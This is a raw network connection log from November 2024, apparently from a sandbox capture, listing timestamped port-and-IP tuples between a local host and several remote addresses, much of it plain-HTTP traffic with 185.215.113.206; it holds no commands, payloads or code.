Nov 17, 2024 03:42:37.760833025 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:37.760865927 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:37.760874987 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:37.798221111 CET	443	49836	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.799216986 CET	49836	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.799252033 CET	443	49836	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.800060034 CET	49836	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.800072908 CET	443	49836	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.819088936 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.819101095 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.819154024 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.819220066 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.819281101 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.819289923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.819291115 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.819291115 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.819291115 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.819335938 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.819344044 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.819350958 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.819394112 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.819439888 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.819448948 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.819499016 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.819536924 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.819627047 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.819719076 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.819719076 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.819730043 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.819747925 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.819818020 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.819818020 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.819880962 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.819891930 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.819902897 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.819937944 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.819977045 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.820081949 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.820100069 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.820111036 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.820121050 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.820133924 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.820172071 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.820462942 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.820472002 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.820482016 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.820514917 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.820516109 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.820525885 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.820540905 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.820553064 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.820554018 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.820590973 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.820641994 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.820887089 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.820897102 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.820908070 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.820933104 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.820956945 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.826790094 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:37.829056978 CET	443	49838	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.834862947 CET	49838	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.834920883 CET	443	49838	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.835496902 CET	49838	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.835509062 CET	443	49838	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.839226961 CET	443	49837	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.839654922 CET	49837	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.839689016 CET	443	49837	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.840194941 CET	49837	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.840200901 CET	443	49837	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.843221903 CET	443	49839	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:37.843528032 CET	49839	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:37.843535900 CET	443	49839	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:37.844616890 CET	443	49839	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:37.845964909 CET	49839	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:37.846153975 CET	443	49839	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:37.849315882 CET	443	49840	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:37.849581003 CET	49840	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:37.849602938 CET	443	49840	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:37.850083113 CET	443	49840	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:37.851337910 CET	49840	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:37.851432085 CET	443	49840	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:37.862030983 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.862123966 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.862282038 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.862430096 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.928925037 CET	443	49836	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.929135084 CET	443	49836	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.929208040 CET	49836	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.929487944 CET	49836	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.929522991 CET	443	49836	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.929547071 CET	49836	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.929563046 CET	443	49836	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.936038971 CET	49849	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.936089993 CET	443	49849	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.936180115 CET	49849	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.938194990 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.938225985 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.938236952 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.938280106 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.938285112 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.938298941 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.938309908 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.938317060 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.938360929 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.938504934 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.938518047 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.938529968 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.938541889 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.938554049 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.938566923 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.938590050 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.938620090 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.938626051 CET	49849	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.938644886 CET	443	49849	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.938730001 CET	49839	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:37.938855886 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.938867092 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.938877106 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.938915014 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.938951969 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.938992023 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.939002991 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.939013958 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.939048052 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.939081907 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.939208031 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.939224958 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.939235926 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.939245939 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.939255953 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.939256907 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.939294100 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.939330101 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.939568043 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.939579964 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.939590931 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.939601898 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.939614058 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.939655066 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.939693928 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.960561037 CET	443	49838	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.960719109 CET	443	49838	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.960794926 CET	49838	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.960905075 CET	49838	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.960927963 CET	443	49838	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.960951090 CET	49838	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.960962057 CET	443	49838	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.964457989 CET	49850	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.964484930 CET	443	49850	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.964564085 CET	49850	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.965162039 CET	49850	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.965174913 CET	443	49850	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.972481012 CET	443	49837	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.972696066 CET	443	49837	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.972774029 CET	49837	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.973104000 CET	49837	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.973119974 CET	443	49837	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.973131895 CET	49837	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.973136902 CET	443	49837	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.976603031 CET	49851	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.976644993 CET	443	49851	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.976763964 CET	49851	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.977047920 CET	49851	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.977071047 CET	443	49851	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.977444887 CET	49840	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:38.022191048 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.022209883 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.022255898 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.022300959 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.022372007 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.022551060 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.048239946 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.048299074 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.048324108 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.048343897 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.048368931 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.048384905 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.048417091 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.048427105 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.048450947 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.048453093 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.048477888 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.048508883 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.057564974 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.057579041 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.057645082 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.057688951 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.057718992 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.057732105 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.057742119 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.057753086 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.057763100 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.057775974 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.057785988 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.057796001 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.057802916 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.057837963 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.058068991 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.058162928 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.058239937 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.058250904 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.058291912 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.058420897 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.058433056 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.058444023 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.058471918 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.058501005 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.058600903 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.058612108 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.058621883 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.058631897 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.058644056 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.058660030 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.058686972 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.058939934 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.058952093 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.058962107 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.058971882 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.058988094 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.058995008 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.058999062 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.059036970 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.141062975 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.141098022 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.141158104 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.141180038 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.141191006 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.141246080 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.165189028 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.165246964 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.165281057 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.165319920 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.165339947 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.165364981 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.176311970 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.176330090 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.176342010 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.176377058 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.176400900 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.176403046 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.176413059 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.176426888 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.176439047 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.176454067 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.176492929 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.176600933 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.176640034 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.176695108 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.176704884 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.176723003 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.176733971 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.176737070 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.176758051 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.176781893 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.176913977 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.176928043 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.176939964 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.176950932 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.176966906 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.176991940 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.177148104 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.177186012 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.177283049 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.177293062 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.177304029 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.177315950 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.177320004 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.177328110 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.177339077 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.177346945 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.177386045 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.177643061 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.177654028 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.177664042 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.177676916 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.177689075 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.177707911 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.177732944 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.194619894 CET	443	49841	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.195360899 CET	49841	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.195382118 CET	443	49841	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.195960999 CET	49841	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.195966005 CET	443	49841	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.212462902 CET	443	49842	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.213330984 CET	49842	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.213355064 CET	443	49842	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.213891029 CET	49842	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.213896036 CET	443	49842	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.218084097 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.218127966 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.218158007 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.218164921 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.218204021 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.260282040 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.260325909 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.260369062 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.260369062 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.260400057 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.260422945 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.267849922 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.267911911 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.267987013 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.268563986 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.268594980 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.282221079 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.282286882 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.282337904 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.282373905 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.282404900 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.282428026 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.295192957 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.295209885 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.295253992 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.295267105 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.295279026 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.295288086 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.295290947 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.295350075 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.295449972 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.295485973 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.295531034 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.295561075 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.295572042 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.295584917 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.295595884 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.295609951 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.295638084 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.295835972 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.295849085 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.295860052 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.295886040 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.295933962 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.295990944 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.296035051 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.296051025 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.296063900 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.296073914 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.296087027 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.296128035 CET	49797	80	192.168.2.5	185.215.113.206
